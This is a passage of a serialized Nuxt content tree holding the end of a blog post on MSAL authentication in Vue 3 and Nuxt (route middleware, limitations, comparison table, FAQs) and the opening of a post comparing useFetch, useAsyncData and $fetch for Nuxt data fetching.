app/middleware/auth.ts\n",{"type":33,"tag":367,"props":7202,"children":7203},{"class":369,"line":402},[7204,7208,7212,7217,7221,7225],{"type":33,"tag":367,"props":7205,"children":7206},{"style":527},[7207],{"type":38,"value":4845},{"type":33,"tag":367,"props":7209,"children":7210},{"style":527},[7211],{"type":38,"value":5797},{"type":33,"tag":367,"props":7213,"children":7214},{"style":1124},[7215],{"type":38,"value":7216}," defineNuxtRouteMiddleware",{"type":33,"tag":367,"props":7218,"children":7219},{"style":533},[7220],{"type":38,"value":2898},{"type":33,"tag":367,"props":7222,"children":7223},{"style":633},[7224],{"type":38,"value":1356},{"type":33,"tag":367,"props":7226,"children":7227},{"style":533},[7228],{"type":38,"value":840},{"type":33,"tag":367,"props":7230,"children":7231},{"class":369,"line":574},[7232,7236,7240,7244,7248,7252,7256,7261,7265,7269],{"type":33,"tag":367,"props":7233,"children":7234},{"style":633},[7235],{"type":38,"value":1369},{"type":33,"tag":367,"props":7237,"children":7238},{"style":533},[7239],{"type":38,"value":1215},{"type":33,"tag":367,"props":7241,"children":7242},{"style":527},[7243],{"type":38,"value":530},{"type":33,"tag":367,"props":7245,"children":7246},{"style":380},[7247],{"type":38,"value":174},{"type":33,"tag":367,"props":7249,"children":7250},{"style":527},[7251],{"type":38,"value":885},{"type":33,"tag":367,"props":7253,"children":7254},{"style":380},[7255],{"type":38,"value":174},{"type":33,"tag":367,"props":7257,"children":7258},{"style":527},[7259],{"type":38,"value":7260},"server",{"type":33,"tag":367,"props":7262,"children":7263},{"style":533},[7264],{"type":38,"value":4242},{"type":33,"tag":367,"props":7266,"children":7267},{"style":3682},[7268],{"type":38,"value":4247},{"type":33,"tag":367,"props":7270,"children":7271},{"style":380},[7272],{"type":38,"value":571},{"type":33,"tag":367,"props":7274,"children":7275},{"class":369,"line":625},[7276],{"type":33,"tag":367,"props":7277,"children":7278},{"emptyLinePlaceholder":726},[7279],{"type":38,"value":729},{"type":33,"tag":367,"props":7281,"children":7282},{"class":369,"line":681},[7283,7287,7292,7296,7301,7305],{"type":33,"tag":367,"props":7284,"children":7285},{"style":812},[7286],{"type":38,"value":5839},{"type":33,"tag":367,"props":7288,"children":7289},{"style":633},[7290],{"type":38,"value":7291}," nuxtApp",{"type":33,"tag":367,"props":7293,"children":7294},{"style":380},[7295],{"type":38,"value":835},{"type":33,"tag":367,"props":7297,"children":7298},{"style":1124},[7299],{"type":38,"value":7300}," useNuxtApp",{"type":33,"tag":367,"props":7302,"children":7303},{"style":533},[7304],{"type":38,"value":1197},{"type":33,"tag":367,"props":7306,"children":7307},{"style":380},[7308],{"type":38,"value":571},{"type":33,"tag":367,"props":7310,"children":7311},{"class":369,"line":722},[7312,7316,7320,7324,7328,7332,7336,7340,7344,7348,7352,7356,7360,7365,7369],{"type":33,"tag":367,"props":7313,"children":7314},{"style":812},[7315],{"type":38,"value":5839},{"type":33,"tag":367,"props":7317,"children":7318},{"style":633},[7319],{"type":38,"value":1175},{"type":33,"tag":367,"props":7321,"children":7322},{"style":380},[7323],{"type":38,"value":835},{"type":33,"tag":367,"props":7325,"children":7326},{"style":374},[7327],{"type":38,"value":7291},{"type":33,"tag":367,"props":7329,"children":7330},{"style":380},[7331],{"type":38,"value":174},{"type":33,"tag":367,"props":7333,"children":7334},{"style":374},[7335],{"type":38,"value":6329},{"type":33,"tag":367,"props":7337,"children":7338},{"style":380},[7339],{"type":38,"value":174},{"type":33,"tag":367,"props":7341,"children":7342},{"style":374},[7343],{"type":38,"value":5937},{"type":33,"tag":367,"props":7345,"children":7346},{"style":380},[7347],{"type":38,"value":174},{"type":33,"tag":367,"props":7349,"children":7350},{"style":374},[7351],{"type":38,"value":7049},{"type":33,"tag":367,"props":7353,"children":7354},{"style":380},[7355],{"type":38,"value":174},{"type":33,"tag":367,"props":7357,"children":7358},{"style":374},[7359],{"type":38,"value":5666},{"type":33,"tag":367,"props":7361,"children":7362},{"style":380},[7363],{"type":38,"value":7364},"?.",{"type":33,"tag":367,"props":7366,"children":7367},{"style":527},[7368],{"type":38,"value":1220},{"type":33,"tag":367,"props":7370,"children":7371},{"style":380},[7372],{"type":38,"value":571},{"type":33,"tag":367,"props":7374,"children":7375},{"class":369,"line":732},[7376,7380,7384,7388,7392,7397,7401,7405,7409,7413,7417],{"type":33,"tag":367,"props":7377,"children":7378},{"style":633},[7379],{"type":38,"value":1369},{"type":33,"tag":367,"props":7381,"children":7382},{"style":533},[7383],{"type":38,"value":1215},{"type":33,"tag":367,"props":7385,"children":7386},{"style":633},[7387],{"type":38,"value":2444},{"type":33,"tag":367,"props":7389,"children":7390},{"style":374},[7391],{"type":38,"value":1220},{"type":33,"tag":367,"props":7393,"children":7394},{"style":633},[7395],{"type":38,"value":7396}," ||",{"type":33,"tag":367,"props":7398,"children":7399},{"style":374},[7400],{"type":38,"value":1175},{"type":33,"tag":367,"props":7402,"children":7403},{"style":380},[7404],{"type":38,"value":174},{"type":33,"tag":367,"props":7406,"children":7407},{"style":527},[7408],{"type":38,"value":1229},{"type":33,"tag":367,"props":7410,"children":7411},{"style":633},[7412],{"type":38,"value":1391},{"type":33,"tag":367,"props":7414,"children":7415},{"style":901},[7416],{"type":38,"value":1239},{"type":33,"tag":367,"props":7418,"children":7419},{"style":533},[7420],{"type":38,"value":1429},{"type":33,"tag":367,"props":7422,"children":7423},{"class":369,"line":766},[7424,7428,7433,7437,7441,7445,7449,7453],{"type":33,"tag":367,"props":7425,"children":7426},{"style":3682},[7427],{"type":38,"value":4688},{"type":33,"tag":367,"props":7429,"children":7430},{"style":1124},[7431],{"type":38,"value":7432}," navigateTo",{"type":33,"tag":367,"props":7434,"children":7435},{"style":533},[7436],{"type":38,"value":1131},{"type":33,"tag":367,"props":7438,"children":7439},{"style":380},[7440],{"type":38,"value":388},{"type":33,"tag":367,"props":7442,"children":7443},{"style":391},[7444],{"type":38,"value":2316},{"type":33,"tag":367,"props":7446,"children":7447},{"style":380},[7448],{"type":38,"value":388},{"type":33,"tag":367,"props":7450,"children":7451},{"style":533},[7452],{"type":38,"value":1141},{"type":33,"tag":367,"props":7454,"children":7455},{"style":380},[7456],{"type":38,"value":571},{"type":33,"tag":367,"props":7458,"children":7459},{"class":369,"line":800},[7460],{"type":33,"tag":367,"props":7461,"children":7462},{"style":533},[7463],{"type":38,"value":1523},{"type":33,"tag":367,"props":7465,"children":7466},{"class":369,"line":808},[7467,7471],{"type":33,"tag":367,"props":7468,"children":7469},{"style":533},[7470],{"type":38,"value":1532},{"type":33,"tag":367,"props":7472,"children":7473},{"style":380},[7474],{"type":38,"value":571},{"type":33,"tag":34,"props":7476,"children":7477},{},[7478],{"type":38,"value":7479},"This pattern has one visible consequence. The server always renders a signed-out shell, so on first paint the user looks signed out, then the client state hydrates and the UI flips. That flash is inherent to a browser-only token cache. Removing it means bridging auth state to the server, usually with an httpOnly cookie that Nuxt server middleware reads to seed the SSR account list.",{"type":33,"tag":95,"props":7481,"children":7483},{"id":7482},"what-this-plugin-does-not-do",[7484],{"type":38,"value":7485},"What this plugin does not do",{"type":33,"tag":34,"props":7487,"children":7488},{},[7489,7491,7496,7498,7503,7505,7510],{"type":38,"value":7490},"It's a reactivity layer, not a security boundary. It doesn't validate tokens, and it can't: that's your API's job, and a signed-in Vue app proves nothing to a server that hasn't checked the token itself. It tracks ",{"type":33,"tag":41,"props":7492,"children":7494},{"className":7493},[],[7495],{"type":38,"value":46},{"type":38,"value":7497}," v4 closely rather than abstracting it, so MSAL's breaking changes reach your code, and its config object is MSAL's config object. ",{"type":33,"tag":41,"props":7499,"children":7501},{"className":7500},[],[7502],{"type":38,"value":3767},{"type":38,"value":7504}," covers the ",{"type":33,"tag":41,"props":7506,"children":7508},{"className":7507},[],[7509],{"type":38,"value":4535},{"type":38,"value":7511}," endpoint and nothing else. There's no server-side token handling today, which is why the Nuxt sample accepts the hydration flash described above. A dedicated Nuxt module is what I plan to build next, and owning that cookie-to-SSR bridge is the reason it needs to exist. It's also a small MIT-licensed project with one maintainer, so weigh that the way you'd weigh any dependency.",{"type":33,"tag":95,"props":7513,"children":7515},{"id":7514},"why-not-use-msal-browser-directly",[7516],{"type":38,"value":7517},"Why not use msal-browser directly",{"type":33,"tag":34,"props":7519,"children":7520},{},[7521],{"type":38,"value":7522},"You can, and for a single sign-in button you probably should. What the plugin removes is the reactive plumbing between MSAL's event stream and your templates.",{"type":38,"value":7524},"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",{"type":33,"tag":7526,"props":7527,"children":7528},"table",{},[7529,7560],{"type":33,"tag":7530,"props":7531,"children":7532},"thead",{},[7533],{"type":33,"tag":7534,"props":7535,"children":7536},"tr",{},[7537,7543,7555],{"type":33,"tag":7538,"props":7539,"children":7540},"th",{},[7541],{"type":38,"value":7542},"What you need",{"type":33,"tag":7538,"props":7544,"children":7545},{},[7546,7548,7553],{"type":38,"value":7547},"With ",{"type":33,"tag":41,"props":7549,"children":7551},{"className":7550},[],[7552],{"type":38,"value":46},{"type":38,"value":7554}," alone",{"type":33,"tag":7538,"props":7556,"children":7557},{},[7558],{"type":38,"value":7559},"With the plugin",{"type":33,"tag":7561,"props":7562,"children":7563},"tbody",{},[7564,7595,7623,7645,7675,7696,7718],{"type":33,"tag":7534,"props":7565,"children":7566},{},[7567,7573,7585],{"type":33,"tag":7568,"props":7569,"children":7570},"td",{},[7571],{"type":38,"value":7572},"Init before the first call",{"type":33,"tag":7568,"props":7574,"children":7575},{},[7576,7578,7583],{"type":38,"value":7577},"Await ",{"type":33,"tag":41,"props":7579,"children":7581},{"className":7580},[],[7582],{"type":38,"value":1780},{"type":38,"value":7584}," yourself before mount",{"type":33,"tag":7568,"props":7586,"children":7587},{},[7588,7593],{"type":33,"tag":41,"props":7589,"children":7591},{"className":7590},[],[7592],{"type":38,"value":1764},{"type":38,"value":7594}," runs it on first use",{"type":33,"tag":7534,"props":7596,"children":7597},{},[7598,7603,7613],{"type":33,"tag":7568,"props":7599,"children":7600},{},[7601],{"type":38,"value":7602},"Redirect return handling",{"type":33,"tag":7568,"props":7604,"children":7605},{},[7606,7608],{"type":38,"value":7607},"Call and catch ",{"type":33,"tag":41,"props":7609,"children":7611},{"className":7610},[],[7612],{"type":38,"value":1788},{"type":33,"tag":7568,"props":7614,"children":7615},{},[7616,7618],{"type":38,"value":7617},"Runs with ",{"type":33,"tag":41,"props":7619,"children":7621},{"className":7620},[],[7622],{"type":38,"value":1780},{"type":33,"tag":7534,"props":7624,"children":7625},{},[7626,7631,7636],{"type":33,"tag":7568,"props":7627,"children":7628},{},[7629],{"type":38,"value":7630},"Reactive account list",{"type":33,"tag":7568,"props":7632,"children":7633},{},[7634],{"type":38,"value":7635},"Your own ref, event callback, and array diff",{"type":33,"tag":7568,"props":7637,"children":7638},{},[7639,7644],{"type":33,"tag":41,"props":7640,"children":7642},{"className":7641},[],[7643],{"type":38,"value":1220},{"type":38,"value":4106},{"type":33,"tag":7534,"props":7646,"children":7647},{},[7648,7653,7666],{"type":33,"tag":7568,"props":7649,"children":7650},{},[7651],{"type":38,"value":7652},"Interaction status",{"type":33,"tag":7568,"props":7654,"children":7655},{},[7656,7658,7664],{"type":38,"value":7657},"Map events via ",{"type":33,"tag":41,"props":7659,"children":7661},{"className":7660},[],[7662],{"type":38,"value":7663},"EventMessageUtils",{"type":38,"value":7665}," yourself",{"type":33,"tag":7568,"props":7667,"children":7668},{},[7669,7674],{"type":33,"tag":41,"props":7670,"children":7672},{"className":7671},[],[7673],{"type":38,"value":1942},{"type":38,"value":4106},{"type":33,"tag":7534,"props":7676,"children":7677},{},[7678,7683,7688],{"type":33,"tag":7568,"props":7679,"children":7680},{},[7681],{"type":38,"value":7682},"Signed-in boolean",{"type":33,"tag":7568,"props":7684,"children":7685},{},[7686],{"type":38,"value":7687},"Derive it and keep it in sync",{"type":33,"tag":7568,"props":7689,"children":7690},{},[7691],{"type":33,"tag":41,"props":7692,"children":7694},{"className":7693},[],[7695],{"type":38,"value":6401},{"type":33,"tag":7534,"props":7697,"children":7698},{},[7699,7704,7709],{"type":33,"tag":7568,"props":7700,"children":7701},{},[7702],{"type":38,"value":7703},"Silent-then-interactive tokens",{"type":33,"tag":7568,"props":7705,"children":7706},{},[7707],{"type":38,"value":7708},"Try silent, catch, branch on interaction type",{"type":33,"tag":7568,"props":7710,"children":7711},{},[7712],{"type":33,"tag":41,"props":7713,"children":7715},{"className":7714},[],[7716],{"type":38,"value":7717},"useMsalAuthentication()",{"type":33,"tag":7534,"props":7719,"children":7720},{},[7721,7733,7738],{"type":33,"tag":7568,"props":7722,"children":7723},{},[7724,7726,7731],{"type":38,"value":7725},"Graph ",{"type":33,"tag":41,"props":7727,"children":7729},{"className":7728},[],[7730],{"type":38,"value":4535},{"type":38,"value":7732}," request",{"type":33,"tag":7568,"props":7734,"children":7735},{},[7736],{"type":38,"value":7737},"Write the bearer-header fetch",{"type":33,"tag":7568,"props":7739,"children":7740},{},[7741],{"type":33,"tag":41,"props":7742,"children":7744},{"className":7743},[],[7745],{"type":38,"value":7746},"callMsGraph(token)",{"type":33,"tag":34,"props":7748,"children":7749},{},[7750,7752,7757,7759,7764,7766,7771],{"type":38,"value":7751},"The trade is the usual one. A wrapper that hides its dependency saves you typing until the day the behavior underneath surprises you, and then you're debugging two libraries. This one doesn't hide MSAL. ",{"type":33,"tag":41,"props":7753,"children":7755},{"className":7754},[],[7756],{"type":38,"value":1327},{"type":38,"value":7758}," is the ",{"type":33,"tag":41,"props":7760,"children":7762},{"className":7761},[],[7763],{"type":38,"value":54},{"type":38,"value":7765}," itself, the config is MSAL's ",{"type":33,"tag":41,"props":7767,"children":7769},{"className":7768},[],[7770],{"type":38,"value":645},{"type":38,"value":7772}," type, and every MSAL method stays reachable. So when something odd happens, the MSAL docs still apply.",{"type":33,"tag":34,"props":7774,"children":7775},{},[7776,7778,7785,7786,7793,7794,7800],{"type":38,"value":7777},"There are working versions of everything above in the repo: ",{"type":33,"tag":68,"props":7779,"children":7782},{"href":7780,"rel":7781},"https://github.com/DulanDev/vue3-msal/tree/main/samples/sample-with-pinia",[72],[7783],{"type":38,"value":7784},"Vue 3 with Pinia",{"type":38,"value":3577},{"type":33,"tag":68,"props":7787,"children":7790},{"href":7788,"rel":7789},"https://github.com/DulanDev/vue3-msal/tree/main/samples/sample-with-quasar",[72],[7791],{"type":38,"value":7792},"Quasar",{"type":38,"value":3585},{"type":33,"tag":68,"props":7795,"children":7797},{"href":5654,"rel":7796},[72],[7798],{"type":38,"value":7799},"Nuxt",{"type":38,"value":174},{"type":33,"tag":95,"props":7802,"children":7804},{"id":7803},"faqs",[7805],{"type":38,"value":7806},"FAQs",{"type":33,"tag":7808,"props":7809,"children":7811},"h3",{"id":7810},"why-do-i-get-uninitialized_public_client_application",[7812,7814,7820],{"type":38,"value":7813},"Why do I get ",{"type":33,"tag":41,"props":7815,"children":7817},{"className":7816},[],[7818],{"type":38,"value":7819},"uninitialized_public_client_application",{"type":38,"value":7821},"?",{"type":33,"tag":34,"props":7823,"children":7824},{},[7825,7827,7832,7834,7839,7841,7846,7848,7854],{"type":38,"value":7826},"Something called an MSAL API before ",{"type":33,"tag":41,"props":7828,"children":7830},{"className":7829},[],[7831],{"type":38,"value":1780},{"type":38,"value":7833}," resolved. It has been required since ",{"type":33,"tag":41,"props":7835,"children":7837},{"className":7836},[],[7838],{"type":38,"value":46},{"type":38,"value":7840}," v3, which is why tutorials written for v2 don't mention it. ",{"type":33,"tag":41,"props":7842,"children":7844},{"className":7843},[],[7845],{"type":38,"value":1764},{"type":38,"value":7847}," handles it in components. In a router guard, Nuxt plugin, or any code running before the first component setup, await ",{"type":33,"tag":41,"props":7849,"children":7851},{"className":7850},[],[7852],{"type":38,"value":7853},"instance.initialize()",{"type":38,"value":7855}," yourself.",{"type":33,"tag":7808,"props":7857,"children":7859},{"id":7858},"should-i-use-popup-or-redirect",[7860],{"type":38,"value":7861},"Should I use popup or redirect?",{"type":33,"tag":34,"props":7863,"children":7864},{},[7865],{"type":38,"value":7866},"Popup for most SPAs, because your app stays mounted and keeps its state. Redirect when popups are blocked, or on browsers with strict third-party storage restrictions. Call popup only from a user gesture, and don't mix the two flows in one app.",{"type":33,"tag":7808,"props":7868,"children":7870},{"id":7869},"what-causes-interaction_in_progress",[7871,7873,7879],{"type":38,"value":7872},"What causes ",{"type":33,"tag":41,"props":7874,"children":7876},{"className":7875},[],[7877],{"type":38,"value":7878},"interaction_in_progress",{"type":38,"value":7821},{"type":33,"tag":34,"props":7881,"children":7882},{},[7883,7885,7890,7892,7897],{"type":38,"value":7884},"Two overlapping interactive calls, or a previous one that never finished and left its state behind. Guard on the ",{"type":33,"tag":41,"props":7886,"children":7888},{"className":7887},[],[7889],{"type":38,"value":1942},{"type":38,"value":7891}," ref from ",{"type":33,"tag":41,"props":7893,"children":7895},{"className":7894},[],[7896],{"type":38,"value":1764},{"type":38,"value":7898}," before starting a new interaction, and make sure the redirect promise from an earlier attempt was handled.",{"type":33,"tag":7808,"props":7900,"children":7902},{"id":7901},"is-localstorage-safe-for-tokens",[7903,7905,7910],{"type":38,"value":7904},"Is ",{"type":33,"tag":41,"props":7906,"children":7908},{"className":7907},[],[7909],{"type":38,"value":1063},{"type":38,"value":7911}," safe for tokens?",{"type":33,"tag":34,"props":7913,"children":7914},{},[7915,7917,7922],{"type":38,"value":7916},"It persists across tabs and reloads, which is why the samples use it, and it's readable by any script on your origin. That's an XSS exposure and the reason access tokens are short-lived and scoped. Keep third-party scripts under control, set a strict CSP, and validate every token server-side. ",{"type":33,"tag":41,"props":7918,"children":7920},{"className":7919},[],[7921],{"type":38,"value":1751},{"type":38,"value":7923}," narrows the window at the cost of the session.",{"type":33,"tag":7808,"props":7925,"children":7927},{"id":7926},"does-it-work-with-nuxt",[7928],{"type":38,"value":7929},"Does it work with Nuxt?",{"type":33,"tag":34,"props":7931,"children":7932},{},[7933],{"type":38,"value":7934},"Yes, with the client and server plugin pair shown above, and with the caveat that SSR renders a signed-out shell until hydration. A Nuxt module that bridges auth state to the server is planned.",{"type":33,"tag":7808,"props":7936,"children":7938},{"id":7937},"does-it-support-vue-2",[7939],{"type":38,"value":7940},"Does it support Vue 2?",{"type":33,"tag":34,"props":7942,"children":7943},{},[7944],{"type":38,"value":7945},"No. It requires Vue 3.5 or newer and is built on the Composition API.",{"type":33,"tag":7947,"props":7948,"children":7949},"style",{},[7950],{"type":38,"value":7951},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":402,"depth":402,"links":7953},[7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965],{"id":97,"depth":402,"text":100},{"id":177,"depth":402,"text":180},{"id":465,"depth":402,"text":468},{"id":1822,"depth":402,"text":1825},{"id":2596,"depth":402,"text":2599},{"id":3121,"depth":402,"text":3124},{"id":3748,"depth":402,"text":3751},{"id":4548,"depth":402,"text":4551},{"id":5613,"depth":402,"text":5616},{"id":7482,"depth":402,"text":7485},{"id":7514,"depth":402,"text":7517},{"id":7803,"depth":402,"text":7806,"children":7966},[7967,7969,7970,7972,7974,7975],{"id":7810,"depth":574,"text":7968},"Why do I get uninitialized_public_client_application?",{"id":7858,"depth":574,"text":7861},{"id":7869,"depth":574,"text":7971},"What causes interaction_in_progress?",{"id":7901,"depth":574,"text":7973},"Is localStorage safe for tokens?",{"id":7926,"depth":574,"text":7929},{"id":7937,"depth":574,"text":7940},"markdown","content:blog:msal-authentication-in-vue-3.md","content","blog/msal-authentication-in-vue-3.md","md",[7982,13724],{"_path":7983,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7984,"description":7985,"created_at":7986,"updated_at":10,"author":11,"categories":7987,"draft":6,"head":7990,"body":7996,"_type":7976,"_id":13722,"_source":7978,"_file":13723,"_extension":7980},"/blog/nuxt-3-data-fetching-composables","useFetch vs useAsyncData: A Practical Guide to Nuxt Data Fetching","When to use useFetch, useAsyncData, useLazyAsyncData, and plain $fetch in Nuxt, what the server and lazy options actually do, and the Nuxt 4 changes that break Nuxt 3 code.","2024-06-24",[7799,13,7988,7989],"SSR","Web Development",{"meta":7991},[7992,7994,7995],{"name":22,"content":7993},"Nuxt 4, useFetch, useAsyncData, useLazyAsyncData, $fetch, data fetching, SSR, Vue",{"name":25,"content":11},{"name":27,"content":28},{"type":30,"children":7997,"toc":13705},[7998,8034,8068,8073,8079,8081,8241,8274,8280,8292,8300,8312,8325,8330,8335,8795,8800,8805,8956,8969,8974,9385,9407,9412,9422,9427,9805,9824,9845,10137,10149,10215,10221,10253,10264,10677,10697,10718,10723,10729,10739,10744,11263,11281,11286,11441,11447,11460,11491,11502,11621,11626,11860,11866,11885,11887,11992,12023,12713,12725,12731,12751,12764,12775,13024,13036,13070,13076,13082,13102,13308,13321,13327,13391,13397,13402,13415,13435,13440,13444,13471,13491,13499,13518,13533,13538,13546,13551,13673,13681,13701],{"type":33,"tag":34,"props":7999,"children":8000},{},[8001,8003,8009,8011,8017,8019,8025,8027,8032],{"type":38,"value":8002},"Nuxt gives you four ways to load data and no obvious signal about which one to pick. I have watched a team ship ",{"type":33,"tag":41,"props":8004,"children":8006},{"className":8005},[],[8007],{"type":38,"value":8008},"useFetch",{"type":38,"value":8010}," inside an ",{"type":33,"tag":41,"props":8012,"children":8014},{"className":8013},[],[8015],{"type":38,"value":8016},"onMounted",{"type":38,"value":8018}," hook, watched another wrap ",{"type":33,"tag":41,"props":8020,"children":8022},{"className":8021},[],[8023],{"type":38,"value":8024},"$fetch",{"type":38,"value":8026}," in a ",{"type":33,"tag":41,"props":8028,"children":8030},{"className":8029},[],[8031],{"type":38,"value":3831},{"type":38,"value":8033}," and rebuild request deduplication by hand, and spent an afternoon on a page that fetched everything twice because the key changed between server and client.",{"type":33,"tag":34,"props":8035,"children":8036},{},[8037,8039,8044,8045,8051,8053,8059,8061,8066],{"type":38,"value":8038},"The choice is narrower than it looks. ",{"type":33,"tag":41,"props":8040,"children":8042},{"className":8041},[],[8043],{"type":38,"value":8008},{"type":38,"value":150},{"type":33,"tag":41,"props":8046,"children":8048},{"className":8047},[],[8049],{"type":38,"value":8050},"useAsyncData",{"type":38,"value":8052}," are the same composable with different ergonomics, the ",{"type":33,"tag":41,"props":8054,"children":8056},{"className":8055},[],[8057],{"type":38,"value":8058},"Lazy",{"type":38,"value":8060}," variants are one preset option, and ",{"type":33,"tag":41,"props":8062,"children":8064},{"className":8063},[],[8065],{"type":38,"value":8024},{"type":38,"value":8067}," is the thing all of them call underneath. What follows is what each one does at runtime, and the three places the API will mislead you.",{"type":33,"tag":34,"props":8069,"children":8070},{},[8071],{"type":38,"value":8072},"This is current as of Nuxt 4. Where Nuxt 4 changed behaviour that Nuxt 3 code depends on, I have said so inline.",{"type":33,"tag":95,"props":8074,"children":8076},{"id":8075},"the-short-answer",[8077],{"type":38,"value":8078},"The Short Answer",{"type":38,"value":8080},"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",{"type":33,"tag":7526,"props":8082,"children":8083},{},[8084,8110],{"type":33,"tag":7530,"props":8085,"children":8086},{},[8087],{"type":33,"tag":7534,"props":8088,"children":8089},{},[8090,8095,8100,8105],{"type":33,"tag":7538,"props":8091,"children":8092},{},[8093],{"type":38,"value":8094},"Composable",{"type":33,"tag":7538,"props":8096,"children":8097},{},[8098],{"type":38,"value":8099},"Use it for",{"type":33,"tag":7538,"props":8101,"children":8102},{},[8103],{"type":38,"value":8104},"Blocks navigation",{"type":33,"tag":7538,"props":8106,"children":8107},{},[8108],{"type":38,"value":8109},"Key",{"type":33,"tag":7561,"props":8111,"children":8112},{},[8113,8139,8164,8191,8216],{"type":33,"tag":7534,"props":8114,"children":8115},{},[8116,8124,8129,8134],{"type":33,"tag":7568,"props":8117,"children":8118},{},[8119],{"type":33,"tag":41,"props":8120,"children":8122},{"className":8121},[],[8123],{"type":38,"value":8008},{"type":33,"tag":7568,"props":8125,"children":8126},{},[8127],{"type":38,"value":8128},"An HTTP endpoint, nothing custom",{"type":33,"tag":7568,"props":8130,"children":8131},{},[8132],{"type":38,"value":8133},"Yes",{"type":33,"tag":7568,"props":8135,"children":8136},{},[8137],{"type":38,"value":8138},"Auto, from URL and options",{"type":33,"tag":7534,"props":8140,"children":8141},{},[8142,8150,8155,8159],{"type":33,"tag":7568,"props":8143,"children":8144},{},[8145],{"type":33,"tag":41,"props":8146,"children":8148},{"className":8147},[],[8149],{"type":38,"value":8050},{"type":33,"tag":7568,"props":8151,"children":8152},{},[8153],{"type":38,"value":8154},"Any async function, multiple sources, an SDK",{"type":33,"tag":7568,"props":8156,"children":8157},{},[8158],{"type":38,"value":8133},{"type":33,"tag":7568,"props":8160,"children":8161},{},[8162],{"type":38,"value":8163},"You provide it",{"type":33,"tag":7534,"props":8165,"children":8166},{},[8167,8176,8181,8186],{"type":33,"tag":7568,"props":8168,"children":8169},{},[8170],{"type":33,"tag":41,"props":8171,"children":8173},{"className":8172},[],[8174],{"type":38,"value":8175},"useLazyFetch",{"type":33,"tag":7568,"props":8177,"children":8178},{},[8179],{"type":38,"value":8180},"An endpoint the page can render without",{"type":33,"tag":7568,"props":8182,"children":8183},{},[8184],{"type":38,"value":8185},"No",{"type":33,"tag":7568,"props":8187,"children":8188},{},[8189],{"type":38,"value":8190},"Auto",{"type":33,"tag":7534,"props":8192,"children":8193},{},[8194,8203,8208,8212],{"type":33,"tag":7568,"props":8195,"children":8196},{},[8197],{"type":33,"tag":41,"props":8198,"children":8200},{"className":8199},[],[8201],{"type":38,"value":8202},"useLazyAsyncData",{"type":33,"tag":7568,"props":8204,"children":8205},{},[8206],{"type":38,"value":8207},"Custom logic the page can render without",{"type":33,"tag":7568,"props":8209,"children":8210},{},[8211],{"type":38,"value":8185},{"type":33,"tag":7568,"props":8213,"children":8214},{},[8215],{"type":38,"value":8163},{"type":33,"tag":7534,"props":8217,"children":8218},{},[8219,8227,8232,8237],{"type":33,"tag":7568,"props":8220,"children":8221},{},[8222],{"type":33,"tag":41,"props":8223,"children":8225},{"className":8224},[],[8226],{"type":38,"value":8024},{"type":33,"tag":7568,"props":8228,"children":8229},{},[8230],{"type":38,"value":8231},"Event handlers, mutations, anything after a user acts",{"type":33,"tag":7568,"props":8233,"children":8234},{},[8235],{"type":38,"value":8236},"N/A",{"type":33,"tag":7568,"props":8238,"children":8239},{},[8240],{"type":38,"value":7127},{"type":33,"tag":34,"props":8242,"children":8243},{},[8244,8250,8252,8258,8260,8265,8267,8272],{"type":33,"tag":41,"props":8245,"children":8247},{"className":8246},[],[8248],{"type":38,"value":8249},"useFetch(url, opts)",{"type":38,"value":8251}," is close to ",{"type":33,"tag":41,"props":8253,"children":8255},{"className":8254},[],[8256],{"type":38,"value":8257},"useAsyncData(key, () => $fetch(url), opts)",{"type":38,"value":8259},". Use ",{"type":33,"tag":41,"props":8261,"children":8263},{"className":8262},[],[8264],{"type":38,"value":8008},{"type":38,"value":8266}," when that is all you need. Move to ",{"type":33,"tag":41,"props":8268,"children":8270},{"className":8269},[],[8271],{"type":38,"value":8050},{"type":38,"value":8273}," the moment the body of the handler is doing something other than a single request.",{"type":33,"tag":95,"props":8275,"children":8277},{"id":8276},"what-all-four-share",[8278],{"type":38,"value":8279},"What All Four Share",{"type":33,"tag":34,"props":8281,"children":8282},{},[8283,8285,8290],{"type":38,"value":8284},"Every composable except ",{"type":33,"tag":41,"props":8286,"children":8288},{"className":8287},[],[8289],{"type":38,"value":8024},{"type":38,"value":8291}," exists to solve one problem: the server already fetched this, so the browser should not fetch it again.",{"type":33,"tag":357,"props":8293,"children":8295},{"code":8294},"first load, SSR\n\n  server   useFetch(\"/api/posts\")\n           handler runs, response held\n           HTML rendered with the data in it\n           result serialised into the __NUXT__ payload\n\n  client   hydrate\n           payload read from the document\n           no network request\n\nclient-side navigation to /posts\n\n  client   useFetch(\"/api/posts\")\n           handler runs in the browser, no payload to read from\n           lazy: false   navigation waits for the response      (default)\n           lazy: true    navigation completes, data arrives after\n",[8296],{"type":33,"tag":41,"props":8297,"children":8298},{"__ignoreMap":7},[8299],{"type":38,"value":8294},{"type":33,"tag":34,"props":8301,"children":8302},{},[8303,8305,8310],{"type":38,"value":8304},"That serialisation step is the whole value. ",{"type":33,"tag":41,"props":8306,"children":8308},{"className":8307},[],[8309],{"type":38,"value":8024},{"type":38,"value":8311}," on its own runs on the server during SSR, renders the HTML, and then runs again on the client during hydration, because nothing carried the first result across. Two requests, and a flash of different content if the data moved in between.",{"type":33,"tag":34,"props":8313,"children":8314},{},[8315,8317,8323],{"type":38,"value":8316},"The second thing they share is deduplication. Two components calling ",{"type":33,"tag":41,"props":8318,"children":8320},{"className":8319},[],[8321],{"type":38,"value":8322},"useFetch(\"/api/user\")",{"type":38,"value":8324}," on the same page produce one request.",{"type":33,"tag":95,"props":8326,"children":8328},{"id":8327},"usefetch",[8329],{"type":38,"value":8008},{"type":33,"tag":34,"props":8331,"children":8332},{},[8333],{"type":38,"value":8334},"The default choice for hitting an endpoint.",{"type":33,"tag":357,"props":8336,"children":8338},{"code":8337,"language":562,"meta":7,"className":1963,"style":7},"\u003Cscript setup>\nconst { data: posts, status, error, refresh } = await 